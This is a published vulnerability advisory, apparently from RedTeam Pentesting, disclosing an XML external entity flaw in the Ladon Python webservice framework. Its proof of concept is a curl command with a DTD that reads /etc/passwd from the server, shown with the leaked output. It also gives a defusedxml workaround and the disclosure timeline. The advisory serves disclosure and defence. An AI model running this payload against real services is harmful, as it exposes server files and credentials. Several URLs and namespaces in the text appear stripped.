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XML External Entity Expansion in Ladon Webservice

Attackers who can send SOAP messages to a Ladon webservice via the HTTP interface of the Ladon webservice can exploit an XML external entity expansion vulnerability and read local files, forge server side requests or overload the service with exponentially growing memory payloads.


  • Product: Ladon Framework for Python
  • Affected Versions: 0.9.40 and previous
  • Fixed Versions: none
  • Vulnerability Type: XML External Entity Expansion
  • Security Risk: high
  • Vendor URL:
  • Vendor Status: notified
  • Advisory URL:
  • Advisory Status: published
  • CVE URL:


“Ladon is a framework for exposing methods to several Internet service protocols. Once a method is ladonized it is automatically served through all the interfaces that your ladon installation contains. Ladon’s interface implemetations are added in a modular fashion making it very easy [sic] extend Ladon’s protocol support. Ladon runs on all Major OS’s[sic] (Windows, Mac and Linux) and supports both Python 2 and 3.”

From the vendor’s website (

More Details

Ladon allows developers to expose functions of a class via different webservice protocols by using the @ladonize decorator in Python. By using the WSGI interface of a webserver or by running the Ladon command line tool “ladon-2.7-ctl” with the command “testserve” and the name of the Python file, the webservices can be accessed via HTTP.

As a simple example, the following Python file “” was implemented:

from ladon.ladonizer import ladonize

class HelloService(object):

    @ladonize(unicode, rtype=unicode)
    def sayhello(self, uid):
        return u"Hello {0}".format(uid)

This function can then be run as a ladon webservice via the following command:

ladon-2.7-ctl testserve -p 8000

This enables access to the “sayhello”-function via SOAP- and JSON-APIs.

The following command will send an HTTP SOAP request, which will trigger the function:

curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://localhost:8888/HelloService/soap11/sayhello\"' \
--data-binary $'<soapenv:Envelope 
<urn:sayhello soapenv:encodingStyle=\"\">
<uid xsi:type=\"xsd:string\">RedTeam Pentesting</uid>
</urn:sayhello></soapenv:Body></soapenv:Envelope>' \
'http://localhost:8888/HelloService/soap11' | xmllint --format -

This will generate the following output:

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC=""
   xmlns:ns="urn:HelloService" xmlns:xsd="">
  <SOAP-ENV:Body SOAP-ENV:encodingStyle="">
      <result>Hello RedTeam Pentesting</result>

The SOAP-API of this service is susceptible to an XML external entity expansion.

Proof of Concept

By including a DTD in the XML SOAP request, attackers are able to include external entities in the response of the server. In the case of the simple service the inclusion of the following DTD will result in the exposure of the “/etc/passwd”-file on the server:

<?xml version="1.0"?>
<!DOCTYPE uid [
    <!ENTITY passwd SYSTEM "file:///etc/passwd">

The following command exploits this vulnerability by including the &passwd; entity as the username in the request:

curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://localhost:8888/HelloService/soap11/sayhello\"' \
--data-binary $'<?xml version="1.0"?>
[<!ENTITY passwd SYSTEM "file:///etc/passwd">
<soapenv:Envelope xmlns:xsi=\"\"
<urn:sayhello soapenv:encodingStyle=\"\">
<uid xsi:type=\"xsd:string\">&passwd;</uid>
</soapenv:Envelope>' \
'http://localhost:8888/HelloService/soap11' | xmllint --format -

The server answers with a response containing the passwd-file:

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC=""
  <SOAP-ENV:Body SOAP-ENV:encodingStyle="">
      <result>Hello root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:[...]</result>


The Python package defusedxml ( can be used to monkey patch the code to prevent XML vulnerabilities. The following workaround can be included in the code, which prevents exploitation:

import defusedxml


Currently no fix is available.

Security Risk

Attackers are able to read local files on the server of the webservice with the privileges of the webservice. Furthermore, attackers are able to create HTTP request from the webservice to other services on the Internet or the local network. It is likely that attackers are able to gain access to credentials for database services used by the webservice. Attackers may also be able to cause a denial-of-service attack against the respective webservice. Depending on the data stored on the vulnerable system and the relevance of the webservice, this vulnerability may pose a high risk.


  • 2016-11-29 Vulnerability identified
  • 2016-11-29 Customer notified vendor
  • 2017-07-10 Customer fixed problem in their own product
  • 2017-07-21 RedTeam Pentesting notified vendor
  • 2017-08-11 RedTeam Pentesting asked vendor for status update
  • 2017-09-08 RedTeam Pentesting asked vendor for status update and announced
    public release for end of October
  • 2017-10-09 RedTeam Pentesting asked vendor for status update
  • 2017-11-03 Advisory released (no reply from vendor to status update requests)

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